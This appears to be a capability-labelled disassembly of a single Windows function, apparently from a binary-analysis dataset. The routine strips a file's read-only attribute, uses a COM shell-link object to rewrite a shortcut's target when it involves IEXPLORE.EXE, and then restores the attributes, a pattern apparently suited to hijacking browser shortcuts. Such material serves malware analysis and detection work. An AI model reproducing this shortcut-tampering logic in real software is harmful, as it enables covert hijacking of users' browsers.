Function at 0x401ed0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41dc56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x21c
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0x10000000
push ecx
lea eax, [esp + 0x244]
mov ebx, 1
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
mov dword [esp + 0x240], ebx
call fcn.00415580
mov ecx, esi
call fcn.004035d0
mov ecx, dword [esp + 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x23c]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebp
lea eax, [esp + 0x23c]
lea ecx, [esp + 0x18]
push eax
xor edi, edi
call fcn.00415580
push edi
mov byte [esp + 0x238], 2
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x401fa6
lea ecx, [esp + 0x18]
mov byte [esp + 0x234], bl
call fcn.0041580b
lea ecx, [esp + 0x23c]
mov byte [esp + 0x234], 0
call fcn.0041580b
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call fcn.0041580b
xor eax, eax
jmp 0x402162
lea ecx, [esp + 0x10]
push ecx
push 0x420ee8
push ebx
push 0
push 0x420ed8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x4020de
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 0x420ef8
mov edx, dword [eax]
push eax
call dword [edx]
test eax, eax
jne 0x4020de
mov eax, dword [esp + 0x23c]
lea edx, [esp + 0x24]
push 0x104
push edx
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 2
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jl 0x4020de
mov eax, dword [esp + 0x10]
push 2
push 0
push 0x400
mov ebx, dword [eax]
push 0x400
lea ecx, [esp + 0x24c]
call fcn.00415bef
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call dword [ebx + 0xc]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x23c]
mov eax, dword [edx - 8]
push eax
push 0x5c
call fcn.004141f7
inc eax
lea ecx, [esp + 0x240]
push eax
lea eax, [esp + 0x24]
push eax
call fcn.0041406d
push eax
lea ecx, [esp + 0x240]
mov byte [esp + 0x238], 3
call fcn.004158f8
lea ecx, [esp + 0x1c]
mov byte [esp + 0x234], 2
call fcn.0041580b
lea ecx, [esp + 0x23c]
call fcn.00415c86
mov ecx, dword [esp + 0x23c]
push str.IEXPLORE.EXE
push ecx
call fcn.00405f8f
add esp, 8
test eax, eax
jne 0x4020de
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x90]
push eax
push ecx
mov edx, dword [ecx]
mov edi, 1
call dword [edx + 0x2c]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edi
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x23c]
push 1
push eax
call ebp
push 0x80000000
push ecx
lea edx, [esp + 0x244]
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
call fcn.00415580
mov ecx, esi
call fcn.004035d0
lea ecx, [esp + 0x18]
mov byte [esp + 0x234], 1
call fcn.0041580b
lea ecx, [esp + 0x23c]
mov byte [esp + 0x234], 0
call fcn.0041580b
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call fcn.0041580b
mov eax, edi
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x228
ret 8